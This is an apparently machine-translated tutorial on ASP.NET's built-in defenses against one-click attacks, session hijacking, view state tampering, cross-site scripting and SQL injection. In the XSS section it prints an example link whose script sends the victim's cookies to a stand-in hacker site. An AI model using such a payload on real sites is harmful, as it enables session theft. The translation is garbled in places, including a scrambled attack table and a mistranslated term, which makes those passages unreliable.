If you're reading this article, you probably don't need to be convinced that security in Web applications is increasingly important. What you probably need is some practical advice on how to implement security in your ASP.NET application. The bad news is that no development platform—including ASP.NET—can guarantee that once you adopt the platform, you will be able to write 100% secure code. Anyone who says that must be lying. The good news is that in the case of ASP.NET, ASP.NET, especially version 1.1 and the upcoming version 2.0, incorporates some built-in defenses that are easy to use.
Applying all these features alone is not enough to protect a Web application from every possible and foreseeable attack. However, when combined with other defense techniques and security strategies, built-in ASP.NET functionality can form a powerful toolkit to help ensure that applications run in a secure environment.
Web security is the sum of many factors and is the result of a strategy that extends far beyond a single application and involves database management, network configuration, and social engineering and phishing.
The purpose of this article is to explain what ASP.NET developers should always do to maintain security standards at a reasonable level. That's what security is all about: staying vigilant and never letting your guard down completely, making it increasingly difficult for the bad guys to hack.
Let's take a look at what features ASP.NET provides to simplify this work.
In Table 1, I've summarized the most common types of web attacks, along with the flaws in applications that could allow these attacks to succeed.
Attacks | Possible Instigators of Attacks | |
Cross-site scripting (XSS) | Echoing untrusted user input into the page | |
SQL injection | Concatenating user input to form a SQL command | |
Session hijacking | Session ID Guessed and stolen session ID Cookies Untrusted user input | |
sent via script on | one click | Perceived HTTP Post |
Hidden Field Tampering | Unchecked (and Trusted) Hidden Fields Filled with Sensitive Data |
What are the key facts that emerge from this list of
common web attacks
In my opinion, there are at least three things:
• | Whenever you insert any user input into the browser's markup, you are potentially exposing yourself to code injection attacks (any SQL injection and XSS variants) . |
• | Database access must be implemented in a secure manner, that is, using as few permissions as possible for the database and dividing the responsibilities of individual users through roles. |
• | Sensitive data should never be sent over the network (let alone in the clear) and must be stored on the server in a secure manner. |
Interestingly, the above three points respectively target three different aspects of Web security, and the combination of these three aspects is the only reasonable way to generate attack-proof and tamper-proof applications. The various layers of web security can be summarized as follows:
• | Coding practices: data validation, type and buffer length checks, anti-tampering measures |
• | Data access policies: use decisions to protect the weakest accounts possible, use stored procedures or at least parameterization command. |
• | Efficient storage and management: do not send critical data to the client, use hash codes to detect operations, authenticate users and protect identities, apply strict password policies |
As you can see, this can only be achieved by developing The combined efforts of people, architects, and administrators result in secure applications. Please do not assume that you can achieve the same purpose any other way.
When you write an ASP.NET application, you're not alone against an army of hackers: your only weapons are the lines of code you type with your brain, your skills, and your fingers. ASP.NET 1.1 and later come to the rescue with specific features that automatically increase your defense against some of the threats listed above. Below we examine them in detail.
was introduced in ASP.NET 1.1. ViewStateUserKey is a string property of the Page class. Only a few developers are really familiar with this property. Why? Let's see what the documentation says.
of assigning an identifier to an individual user in the view state variable associated with the current page
, the meaning of this sentence is pretty clear; but can you honestly tell me that it describes the original purpose of the property? To understand the role of ViewStateUserKey , you need to continue reading until the Remarks section.
This property helps prevent one-click attacks because it provides additional input to create a hash that prevents the view state from being tampered with. In other words, ViewStateUserKey makes it much more difficult for hackers to use the contents of client view state to prepare malicious posts against the site. This property can be assigned any non-empty string, but is preferably the session ID or user's ID. To better understand the importance of this property, let's briefly introduce the basics of one-click attacks.
A one-click attack involves posting a malicious HTTP form to a known, vulnerable Web site. It's called "one-click" because it often begins with the victim inadvertently clicking on a tempting link they find via email or while browsing in a crowded forum. By clicking the link, the user inadvertently triggered a remote process that ultimately resulted in a malicious <form> being submitted to a site. Let's be honest here: can you really tell me that you've never clicked on a link like Click here to win $1,000,000 out of curiosity? Obviously, nothing bad happened to you. Let's assume that's the case; can you say that everyone else in the Web community survived? Who knows.
To be successful, a one-click attack requires certain background conditions:
• | The attacker must have sufficient knowledge of the vulnerable site. This is possible because the attacker could "diligently" study the file, or he/she is an angry insider (e.g., an employee who was fired for being dishonest). Therefore, the consequences of such an attack can be extremely serious. |
• | The site must be using cookies (persistent cookies are better) to enable single login, and the attacker has received a valid authentication cookie. |
• | Some users of this site have engaged in sensitive transactions. |
• | The attacker must have access to the target page. |
As mentioned before, the attack involves submitting a malicious HTTP form to a page that waits for the form. It can be inferred that this page will use the posted data to perform some sensitive operations. As you can imagine, the attacker knows exactly how to use each domain and can come up with some fake values to achieve his goals. This is typically a target-specific attack and is difficult to trace because of the triangular relationship it creates—that is, the hacker tricks the victim into clicking a link on the hacker's site, which in turn causes the malicious code to be posted to a third party. Three sites. (See Figure 1.)
Figure 1. One-click attack
Why the unsuspecting victim? This is because, in this case, the IP address from which the malicious request appears in the server logs is the IP address of the victim. As mentioned before, this tool is not as common (and easy to launch) as "classic" XSS; however, its nature means that its consequences can be catastrophic. How to deal with it? Next, we examine how this attack works in the ASP.NET environment.
Unless the operation is coded in the Page_Load event, it is simply impossible for an ASP.NET page to execute sensitive code outside of the postback event. For the postback event to occur, the view state field is required. Keep in mind that ASP.NET checks the postback status of the request and, depending on whether the _VIEWSTATE input field is present, sets IsPostBack accordingly. Therefore, whoever wants to send a fake request to an ASP.NET page must provide a valid view state field.
For a one-click attack to succeed, the hacker must be able to access the page. At this point, a farsighted hacker would save the page locally. This way, he/she can access the _VIEWSTATE field and use that field to create requests with old view state and malicious values from other fields. The question is, will this work?
Why not? If the attacker can provide a valid authentication cookie, the hacker will gain entry and the request will be processed as normal. View state contents are not checked on the server at all (when EnableViewStataMac is off), or only if they have been tampered with. By default, there is no mechanism in the view state to associate this content with a specific user. An attacker can easily reuse the obtained view state to legitimately access the page by impersonating another user to generate fake requests. This is where ViewStateUserKey steps in.
If selected accurately, this property can add user-specific information to the view state. When processing a request, ASP.NET extracts the key from the view state and compares it with the ViewStateUserKey of the running page. If the two match, the request will be considered legitimate; otherwise an exception will be thrown. What values are valid for this attribute?
Setting ViewStateUserKey to a constant string for all users is equivalent to leaving it empty. You must set it to a value that is different for each user—a user ID, preferably a session ID. For some technical and social reasons, session IDs are more appropriate because session IDs are unpredictable, expire over time, and are different for each user.
Here is some code that is essential in all your pages:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : }
To avoid duplicating these codes, you can fix them in the OnInit virtual method of the class derived from Page . (Note that you must set this property in the Page.Init event.)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; }
In general, using base page classes is always a good thing, as I explained in the article Build Your ASP.NET Pages on a Richer Bedrock . If you want to learn more about the tricks of one-click attackers, you can find a very good article at aspnetpro.com .
cookies exist because they help developers achieve certain purposes. Cookies act as a persistent link between the browser and the server. Especially for applications that use single sign-on, stolen cookies are what make attacks possible. This is absolutely true for a one-click attack.
To use cookies, you do not need to explicitly create and read them programmatically. If you use session state and implement forms authentication, you implicitly use cookies. Of course, ASP.NET supports cookieless session state, and ASP.NET 2.0 also introduces cookieless forms authentication. Therefore, you can theoretically use these features without cookies. I'm not saying you don't have to do this anymore, but the fact is this is one of those situations where the cure is worse than the disease. A cookieless session actually embeds the session ID in the URL so that anyone can see it.
What are the potential issues related to the use of cookies? Cookies can be stolen (i.e. copied to a hacker's computer) and poisoned (i.e. filled with malicious data). These actions are often a prelude to an upcoming attack. If stolen, the cookie "authorizes" external users to connect to the application (and use protected pages) on your behalf, potentially allowing a hacker to easily circumvent authorization and be able to do what the role and security settings allow the victim to do. any operation. Therefore, authentication cookies are usually given a relatively short lifetime of 30 minutes. (Note that even if a browser session takes longer to complete, the cookie will still expire.) In the event of a theft, hackers have a 30-minute window to attempt an attack.
You can make this time limit longer so users don't have to log in too often; but be aware that you're putting yourself at risk by doing so. The use of ASP.NET persistent cookies should be avoided under any circumstances. It will result in cookies with an almost permanent lifetime of up to 50 years! The following code snippet demonstrates how to easily modify a cookie's expiration date.
void OnLogin(object sender, EventArgs e) { // Check credentials if (ValidateUser(user, pswd)) { // Set the cookie's expiration date HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); //Add the cookie to the response Response.Cookies.Add(cookie); //Redirect string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }
You can use this code in your login form to fine-tune the lifetime of the authentication cookie.
cookies are also used to retrieve session state for a specific user. The session ID is stored in a cookie that is sent back and forth with the request and stored on the browser's computer. Likewise, if stolen, a session cookie could be used to allow a hacker to break into the system and access someone else's session state. Needless to say, this is possible as long as the specified session is active (usually no more than 20 minutes). An attack through impersonated session state is called session hijacking . For more information about session hijacking, read Theft On The Web: Prevent Session Hijacking .
How dangerous is this attack? It's hard to tell. This depends on the functionality of the Web site and, more importantly, how the site's pages are designed. For example, suppose you were able to obtain someone else's session cookie and attach it to a request for a page on your site. You load the page and step through its normal user interface. You cannot inject any code into the page, nor modify anything in the page, except that the page works using another user's session state. This isn't too bad in and of itself, but if the information in that session is sensitive and critical, it could lead directly to a successful exploit. A hacker cannot penetrate the contents of a session store, but he can use the information stored there as if he had entered legally. For example, consider an e-commerce application in which users add items to their shopping carts while browsing the site.
• | Option 1. The contents of the shopping cart are stored in session state. However, during checkout, users are asked to confirm and enter payment details over a secure SSL connection. In this case, by accessing the session state of other users, the hacker can only learn some details about the victim's shopping preferences. Hijacking in this environment doesn't actually cause any damage. What is at stake is confidentiality. |
• | Option 2. The application processes one profile for each registered user and saves the profile in session state. Worse, the profile (probably) includes credit card information. Why are profile details stored in the session? Perhaps one of the goals of the app is to essentially prevent users from having to repeatedly type in their credit card and banking information. Therefore, at checkout, the application directs the user to a page with a pre-populated domain. Unnecessarily, one of these fields is a credit card number obtained from the session state. Can you guess now how the story ends? |
The design of application pages is the key to preventing session hijacking attacks. Of course, there are still two points that have not been clarified. The first point is, how to prevent cookie theft? The second point is, how can ASP.NET detect and prevent hijacking?
ASP.NET session cookies are extremely simple and are limited to containing the session ID string itself. The ASP.NET runtime extracts the session ID from the cookie and compares it to the active session. If the ID is valid, ASP.NET will connect to the corresponding session and continue. This behavior greatly facilitates hackers who have stolen or can guess a valid session ID.
XSS and man-in-the-middle attacks, as well as brute force access to the client PC, are all ways to obtain valid cookies. To prevent theft, you should implement security best practices to prevent XSS and its variants from succeeding.
And to prevent session ID guessing, you should simply avoid overestimating your skills. Guessing a session ID means you know how to predict a valid session ID string. For the algorithm used by ASP.NET (15 random numbers mapped to URL-enabled characters), the probability of randomly guessing a valid ID is close to zero. I can't think of any reason to replace the default session ID generator with your own. In many cases, doing so will only make things easier for the attacker.
The worse consequence of session hijacking is that once a cookie is stolen or guessed, ASP.NET has no way to detect fraudulent cookie use. Again, the reason is that ASP.NET limits itself to checking the validity of the ID and the origin of the cookie.
My friend Jeff Prosise at Wintellect wrote a good article about session hijacking for MSDN Magazine . His conclusion is not comforting: It is almost impossible to build defenses that can completely protect against attacks based on stolen session ID cookies. But the code he developed provides very sensible suggestions for further improving security standards. Jeff created an HTTP module that monitors incoming requests and outgoing responses for session ID cookies. This module appends a hash code to the session ID, making it more difficult for an attacker to reuse the cookie. You can read the details here .
view state is used to maintain the state of a control between two consecutive requests for the same page. By default, view state is Base64 encoded and signed with a hash to prevent tampering. It is not possible to tamper with the view state without changing the default page settings. If an attacker modifies the view state, or even regenerates the view state using the correct algorithm, ASP.NET will catch these attempts and throw an exception. Tampering with view state is not necessarily harmful, although it modifies the state of server controls—but it can be a vehicle for serious infections. Therefore, it is extremely important not to remove the Computer Authentication Code (MAC) cross-check that occurs by default. See Figure 2.
Figure 2. Factors that make the view state itself difficult to tamper with when EnableViewStateMac is enabled
When MAC checking is enabled (the default), a hash value is appended to the serialized view state, which is generated using some server-side value and the view state user secret (if any). When the view state is posted back, the hash is recalculated using the new server-side value and compared to the stored value. If the two match, the request is allowed; otherwise an exception is thrown. Even assuming a hacker has the ability to crack and regenerate the view state, he/she would still need to know the value stored by the server in order to derive a valid hash. Specifically, the hacker needs to know the machine key referenced in the <machineKey> entry of machine.config.
By default, entries are automatically generated and physically stored in the Windows Local Security Authority (LSA). Only in the case of a Web farm, where the machine key for view state must be the same on all machines, should you specify it as clear text in the machine.config file.
View state MAC checking is controlled through a @Page directive attribute called EnableViewStateMac . As mentioned before, by default, it is set to true. Please never disable this; doing so will make a one-click attack on view state tampering possible with a high probability of success.
Cross-site scripting (XSS) is an old friend to many experienced web developers, having been around since 1999. Simply put, XSS exploits vulnerabilities in code to introduce a hacker's executable code into another user's browser session. If executed, the injected code can perform a number of different actions — obtain a cookie and upload a copy to a hacker-controlled Web site, monitor the user's Web session and forward data, modify the behavior and appearance of the hacked page so that it Provide false information or even make yourself persistent so that the next time the user returns to the page, the deceptive code will run again. Please read more about the basics of XSS attacks in the TechNet article Cross-site Scripting Overview .
What vulnerabilities in code make XSS attacks possible?
XSS exploits Web applications that dynamically generate HTML pages but do not validate the input returned to the page. The input here refers to the query string, cookies, and the contents of the form fields. If this content appears on the web without proper performance checks, there is a risk that hackers can manipulate it to execute malicious scripts in client browsers. (The one-click attack mentioned earlier is actually a recent variant of XSS.) A typical XSS attack causes an unsuspecting user to click on a tempting link that has escaped script code embedded in the link. The deceptive code will be sent to a vulnerable page that will output it without suspicion. Here's an example of what might happen:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a>
A user clicks on an apparently safe link, which ultimately results in some script code being passed to the vulnerable page, which first obtains all cookies on the user's computer and then sends them to the hacker's Web site.
It is important to note that XSS is not a vendor-specific issue and therefore does not necessarily exploit vulnerabilities in Internet Explorer. It affects all web servers and browsers currently on the market. It should be noted that no single patch can fix this problem. You can protect your pages from XSS attacks by applying specific measures and sound coding practices. Also, please note that the attacker does not require the user to click on the link to launch the attack.
To defend against XSS, you must essentially determine which inputs are valid and then deny all other inputs. You can read a detailed checklist for defending against XSS attacks in a book that is a must-read at Microsoft - Writing Secure Code by Michael Howard and David LeBlanc. In particular, I recommend that you read Chapter 13 carefully.
The primary way to thwart insidious XSS attacks is to add a well-designed, effective validation layer to your input (any type of input data). For example, there are cases where even an otherwise harmless color (RGB tricolor) can bring uncontrolled script directly into the page.
In ASP.NET 1.1, when the ValidateRequest attribute on the @Page directive is turned on, a check is made to make sure the user is not sending potentially dangerous HTML tags in the query string, cookies, or form fields. If this is detected, an exception will be thrown and the request will be aborted. This property is on by default; you don't need to do anything to be protected. If you want to allow HTML tags to pass, you must actively disable this attribute.
<%@ Page ValidateRequest="false" %>
ValidateRequest is not a panacea and cannot replace an effective validation layer. Please read here for a wealth of valuable information on the fundamentals of this feature. It basically works by applying a regular expression to catch some potentially harmful sequences.
Note: The ValidateRequest functionality was originally buggy , so you need to apply a patch for it to work as expected. Such important information often goes unnoticed. Oddly, I discovered that one of my computers is still affected by the flaw. Give it a try!
There is no reason to close ValidateRequest . You can disable it, but only for a very good reason; one such reason might be that users need to be able to post some HTML to the site in order to get better formatting options. In this case, you should limit the number of allowed HTML tags ( <pre> , <b> , <i> , <p> , <br> , <hr> ) and write a regular expression to ensure Nothing else will be permitted or accepted.
Here are some additional tips to help protect ASP.NET from XSS attacks:
• | Use HttpUtility.HtmlEncode to convert dangerous symbols to their HTML representation. |
• | Use double quotes instead of single quotes because HTML encoding only escapes double quotes. |
• | Force a code page to limit the number of characters that can be used. |
In short, use but don't completely trust the ValidateRequest property and don't be too lazy. Take the time to fundamentally understand security threats like XSS and plan a defense strategy centered on one key point: all user input is dangerous.
SQL injection is another well-known attack type that exploits applications that use unsanitized user input to form database commands. If an application gleefully uses what the user types into a form field to create a SQL command string, it exposes you to the risk that a malicious user can modify the nature of the query simply by visiting the page and entering fraudulent parameters. You can learn more about SQL injection here .
There are many ways to prevent SQL injection attacks. The most common techniques are described below.
• | Ensure user input is of the appropriate type and follows the expected pattern (zip code, ID number, email, etc.). If a number from a text box is expected, block the request when the user enters something that cannot be converted to a number. |
• | Use parameterized queries, preferably stored procedures. |
• | Use SQL Server permissions to limit what individual users can do on the database. For example, you may need to disable xp_cmdshell or limit the operation to administrators only. |
If you use stored procedures, you can significantly reduce the possibility of this attack. In fact, with stored procedures, you don't need to dynamically compose SQL strings. Additionally, SQL Server will verify that all parameters have the specified type. Although these techniques alone are not 100% safe, coupled with verification, they will be enough to improve security.
More importantly, you should ensure that only authorized users can perform operations that may have serious consequences, such as deleting a table. This requires careful design of the application's middle tier. Good technique (not just for safety) is to keep the focus on the character. Users should be grouped into roles and an account defined with a minimum set of permissions for each role.
A few weeks ago, the Wintellect Web site was subject to a very sophisticated SQL injection attack. The hacker attempted to create and launch an FTP script to download a potentially malicious executable program. Fortunately, the attack failed. Or was it actually strong user authentication, use of stored procedures, and use of SQL Server permissions that caused the attack to fail?
In summary, you should follow these guidelines to avoid being injected with harmful SQL code:
• | Run with as few privileges as possible and never execute code as "sa". |
• | Restrict access to built-in stored procedures. |
• | Prefer using SQL parameterized queries. |
• | Does not generate statements through string concatenation and does not echo database errors. |
In traditional ASP, hidden fields were the only way to persist data between requests. Any data you need to retrieve on the next request is packed into the hidden <input> field and the return pass is performed. What happens if someone modifies the value stored in this field on the client? As long as the text is clear, the server-side environment cannot detect this. In ASP.NET, the ViewState property of the page and each control has two purposes. On the one hand, ViewState is a way to persist state across requests; on the other hand, ViewState enables you to store custom values in hidden fields that are protected and cannot be easily tampered with.
As shown in Figure 2, the view state is appended with a hash value, and for each request, this value is checked to detect whether tampering has occurred. Except for a few cases, there is no reason to use hidden fields in ASP.NET. View state achieves the same functionality in a much safer way. As mentioned straight away, storing sensitive values (such as prices or credit card details) in hidden fields in the clear opens the door to hackers; view state can even make this bad practice more secure than before. , because view state has a data protection mechanism. However, keep in mind that view state is tamper-proof, but confidentiality is not guaranteed unless encryption is used—credit card details stored in view state are at risk anyway.
In ASP.NET, when is it acceptable to use hidden fields? When you build a custom control that needs to send data back to the server. For example, assume that you want to create a new DataGrid control that supports column reordering. You need to send the new order back to the server in a postback. If not storing this information in a hidden field, where can it be stored?
If the hidden field is a read/write field, i.e. the client is expected to write to it, there is no way to completely prevent a hacker attack. You could try hashing or encrypting the text, but that doesn't give you reasonable confidence that it won't be hacked. At this point, the best defense is to have the hidden field contain inert and harmless information.
Additionally, it should be noted that ASP.NET exposes a little-known class that can be used to encode and hash any serialized object. This class is LosFormatter , the same class that ViewState implements for creating callbacks to the client for encoding text.
private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }
The previous code snippet demonstrates how to use LosFormatter to create something like view state, encode it, and hash it.
At the end of this article, let me point out that at least two of the most common attacks (classic XSS and one-click) are usually done by enticing unsuspecting victims to click on tempting and deceptive initiated by the link. Many times we can find such links in our inbox, despite anti-spam filters. You can buy a lot of email addresses for a few dollars. One of the main techniques used to generate such lists is to scan public pages on a Web site to find and retrieve anything that looks like an e-mail message.
If an e-mail address is displayed on the page, it is likely that sooner or later the address will be captured by an automated Web program. Really? Of course, this depends on how the email is displayed. If you hardcode it, you lose. It's not clear that using other representations (such as dino-at-microsoft-dot-com ) would fool automated web programs, but it would certainly make anyone who reads your page want to make a legitimate connection angry.
In general, you should determine a way to dynamically generate emails as mailto links. A free component written by Marco Bellinaso does just that. You can obtain the full source code for this component from the DotNet2TheMax Web site.
Does anyone suspect that the Web may be the most hostile of all runtime environments? The root cause is that anyone can access a Web site and try to pass good or bad data to it. But what's the point of creating a web application that doesn't accept user input?
Let's face it: no matter how powerful your firewall is, no matter how frequently you apply available patches, as long as you are running a web application that contains inherent flaws, sooner or later an attacker will be able to directly access the main channel, which is port 80. Get to the heart of your system.
ASP.NET applications are neither more vulnerable nor more secure than other Web applications. Security and vulnerabilities are equally rooted in coding practices, real-world experience, and teamwork. If the network is not secure, then no application is safe; similarly, no matter how secure and well-managed the network is, if the application is flawed, attackers will always be able to gain access.
The benefit of ASP.NET is that it provides some good tools that, with a little work, can raise security standards to an acceptable level. Of course, this is not a high enough level. You should not rely purely on ASP.NET's built-in solutions, nor should you ignore them. Learn as much as possible about common attacks.
This article provides an annotated list of built-in features, as well as some background on attacks and defenses. The techniques used to detect outgoing attacks are another matter and probably deserve their own article.